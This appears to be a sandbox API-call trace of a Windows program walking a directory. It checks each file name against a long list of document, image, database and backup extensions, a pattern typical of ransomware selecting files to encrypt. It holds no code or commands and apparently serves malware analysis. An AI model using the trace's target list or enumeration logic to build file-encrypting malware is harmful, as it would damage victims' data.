	[0069.143] FindNextFileW (in: hFindFile=0x3120b50, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.143] FindNextFileW (in: hFindFile=0x3120b50, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.143] FindClose (in: hFindFile=0x3120b50 | out: hFindFile=0x3120b50) returned 1
	[0069.143] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.143] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0069.143] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0069.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121910
	[0069.154] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.154] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.154] lstrlenW (lpString="eula.rtf") returned 8
	[0069.154] lstrlenW (lpString=".1cd") returned 4
	[0069.154] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.154] lstrlenW (lpString=".3ds") returned 4
	[0069.154] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.154] lstrlenW (lpString=".3fr") returned 4
	[0069.154] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.154] lstrlenW (lpString=".3g2") returned 4
	[0069.154] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.154] lstrlenW (lpString=".3gp") returned 4
	[0069.154] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.154] lstrlenW (lpString=".7z") returned 3
	[0069.154] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.154] lstrlenW (lpString=".accda") returned 6
	[0069.154] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.154] lstrlenW (lpString=".accdb") returned 6
	[0069.154] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.154] lstrlenW (lpString=".accdc") returned 6
	[0069.154] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.154] lstrlenW (lpString=".accde") returned 6
	[0069.155] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.155] lstrlenW (lpString=".accdt") returned 6
	[0069.155] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.155] lstrlenW (lpString=".accdw") returned 6
	[0069.155] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.155] lstrlenW (lpString=".adb") returned 4
	[0069.155] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".adp") returned 4
	[0069.155] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai") returned 3
	[0069.155] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai3") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai4") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai5") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai6") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai7") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ai8") returned 4
	[0069.155] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".anim") returned 5
	[0069.155] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.155] lstrlenW (lpString=".arw") returned 4
	[0069.155] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".as") returned 3
	[0069.155] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.155] lstrlenW (lpString=".asa") returned 4
	[0069.155] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".asc") returned 4
	[0069.155] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.155] lstrlenW (lpString=".ascx") returned 5
	[0069.156] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.156] lstrlenW (lpString=".asm") returned 4
	[0069.156] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".asmx") returned 5
	[0069.156] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.156] lstrlenW (lpString=".asp") returned 4
	[0069.156] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".aspx") returned 5
	[0069.156] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.156] lstrlenW (lpString=".asr") returned 4
	[0069.156] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".asx") returned 4
	[0069.156] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".avi") returned 4
	[0069.156] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".avs") returned 4
	[0069.156] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".backup") returned 7
	[0069.156] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.156] lstrlenW (lpString=".bak") returned 4
	[0069.156] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".bay") returned 4
	[0069.156] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".bd") returned 3
	[0069.156] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.156] lstrlenW (lpString=".bin") returned 4
	[0069.156] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".bmp") returned 4
	[0069.156] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".bz2") returned 4
	[0069.156] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.156] lstrlenW (lpString=".c") returned 2
	[0069.156] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.157] lstrlenW (lpString=".cdr") returned 4
	[0069.157] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cer") returned 4
	[0069.157] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cf") returned 3
	[0069.157] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.157] lstrlenW (lpString=".cfc") returned 4
	[0069.157] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cfm") returned 4
	[0069.157] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cfml") returned 5
	[0069.157] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.157] lstrlenW (lpString=".cfu") returned 4
	[0069.157] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".chm") returned 4
	[0069.157] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cin") returned 4
	[0069.157] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".class") returned 6
	[0069.157] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.157] lstrlenW (lpString=".clx") returned 4
	[0069.157] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".config") returned 7
	[0069.157] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.157] lstrlenW (lpString=".cpp") returned 4
	[0069.157] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cr2") returned 4
	[0069.157] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".crt") returned 4
	[0069.157] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".crw") returned 4
	[0069.157] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.157] lstrlenW (lpString=".cs") returned 3
	[0069.158] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.158] lstrlenW (lpString=".css") returned 4
	[0069.158] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".csv") returned 4
	[0069.158] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".cub") returned 4
	[0069.158] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dae") returned 4
	[0069.158] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dat") returned 4
	[0069.158] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".db") returned 3
	[0069.158] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.158] lstrlenW (lpString=".dbf") returned 4
	[0069.158] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dbx") returned 4
	[0069.158] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dc3") returned 4
	[0069.158] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dcm") returned 4
	[0069.158] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dcr") returned 4
	[0069.158] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".der") returned 4
	[0069.158] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dib") returned 4
	[0069.158] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dic") returned 4
	[0069.158] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".dif") returned 4
	[0069.158] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.158] lstrlenW (lpString=".divx") returned 5
	[0069.159] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".djvu") returned 5
	[0069.159] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".dng") returned 4
	[0069.159] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".doc") returned 4
	[0069.159] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".docm") returned 5
	[0069.159] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".docx") returned 5
	[0069.159] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".dot") returned 4
	[0069.159] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".dotm") returned 5
	[0069.159] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".dotx") returned 5
	[0069.159] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.159] lstrlenW (lpString=".dpx") returned 4
	[0069.159] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".dqy") returned 4
	[0069.159] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".dsn") returned 4
	[0069.159] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".dt") returned 3
	[0069.159] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.159] lstrlenW (lpString=".dtd") returned 4
	[0069.159] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.159] lstrlenW (lpString=".dwg") returned 4
	[0069.279] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".dwt") returned 4
	[0069.281] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".dx") returned 3
	[0069.281] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.281] lstrlenW (lpString=".dxf") returned 4
	[0069.281] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".edml") returned 5
	[0069.281] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.281] lstrlenW (lpString=".efd") returned 4
	[0069.281] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".elf") returned 4
	[0069.281] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".emf") returned 4
	[0069.281] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".emz") returned 4
	[0069.281] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".epf") returned 4
	[0069.281] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".eps") returned 4
	[0069.281] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".epsf") returned 5
	[0069.281] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.281] lstrlenW (lpString=".epsp") returned 5
	[0069.281] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.281] lstrlenW (lpString=".erf") returned 4
	[0069.281] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.281] lstrlenW (lpString=".exr") returned 4
	[0069.282] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".f4v") returned 4
	[0069.282] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".fido") returned 5
	[0069.282] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.282] lstrlenW (lpString=".flm") returned 4
	[0069.282] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".flv") returned 4
	[0069.282] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".frm") returned 4
	[0069.282] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".fxg") returned 4
	[0069.282] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".geo") returned 4
	[0069.282] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".gif") returned 4
	[0069.282] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".grs") returned 4
	[0069.282] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".gz") returned 3
	[0069.282] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.282] lstrlenW (lpString=".h") returned 2
	[0069.282] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.282] lstrlenW (lpString=".hdr") returned 4
	[0069.282] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".hpp") returned 4
	[0069.282] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".hta") returned 4
	[0069.282] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".htc") returned 4
	[0069.282] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".htm") returned 4
	[0069.282] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.282] lstrlenW (lpString=".html") returned 5
	[0069.282] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.283] lstrlenW (lpString=".icb") returned 4
	[0069.283] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".ics") returned 4
	[0069.283] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".iff") returned 4
	[0069.283] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".inc") returned 4
	[0069.283] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".indd") returned 5
	[0069.283] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.283] lstrlenW (lpString=".ini") returned 4
	[0069.283] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".iqy") returned 4
	[0069.283] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".j2c") returned 4
	[0069.283] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".j2k") returned 4
	[0069.283] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".java") returned 5
	[0069.283] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.283] lstrlenW (lpString=".jp2") returned 4
	[0069.283] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpc") returned 4
	[0069.283] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpe") returned 4
	[0069.283] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpeg") returned 5
	[0069.283] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpf") returned 4
	[0069.283] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpg") returned 4
	[0069.283] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".jpx") returned 4
	[0069.283] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.283] lstrlenW (lpString=".js") returned 3
	[0069.284] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.284] lstrlenW (lpString=".jsf") returned 4
	[0069.284] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".json") returned 5
	[0069.284] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.284] lstrlenW (lpString=".jsp") returned 4
	[0069.284] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".kdc") returned 4
	[0069.284] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".kmz") returned 4
	[0069.284] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".kwm") returned 4
	[0069.284] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".lasso") returned 6
	[0069.284] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.284] lstrlenW (lpString=".lbi") returned 4
	[0069.284] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".lgf") returned 4
	[0069.284] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".lgp") returned 4
	[0069.284] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".log") returned 4
	[0069.284] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".m1v") returned 4
	[0069.284] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".m4a") returned 4
	[0069.284] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.284] lstrlenW (lpString=".m4v") returned 4
	[0069.284] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".max") returned 4
	[0069.285] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".md") returned 3
	[0069.285] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.285] lstrlenW (lpString=".mda") returned 4
	[0069.285] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".mdb") returned 4
	[0069.285] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".mde") returned 4
	[0069.285] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".mdf") returned 4
	[0069.285] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.285] lstrlenW (lpString=".mdw") returned 4
	[0069.286] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mef") returned 4
	[0069.286] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mft") returned 4
	[0069.286] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mfw") returned 4
	[0069.286] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mht") returned 4
	[0069.286] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mhtml") returned 6
	[0069.286] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.286] lstrlenW (lpString=".mka") returned 4
	[0069.286] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mkidx") returned 6
	[0069.286] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.286] lstrlenW (lpString=".mkv") returned 4
	[0069.286] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mos") returned 4
	[0069.286] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mov") returned 4
	[0069.286] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mp3") returned 4
	[0069.286] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mp4") returned 4
	[0069.286] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mpeg") returned 5
	[0069.286] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.286] lstrlenW (lpString=".mpg") returned 4
	[0069.286] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mpv") returned 4
	[0069.286] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".mrw") returned 4
	[0069.286] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.286] lstrlenW (lpString=".msg") returned 4
	[0069.287] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".mxl") returned 4
	[0069.287] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".myd") returned 4
	[0069.287] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".myi") returned 4
	[0069.287] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".nef") returned 4
	[0069.287] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".nrw") returned 4
	[0069.287] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".obj") returned 4
	[0069.287] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".odb") returned 4
	[0069.287] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".odc") returned 4
	[0069.287] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".odm") returned 4
	[0069.287] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".odp") returned 4
	[0069.287] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".ods") returned 4
	[0069.287] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".oft") returned 4
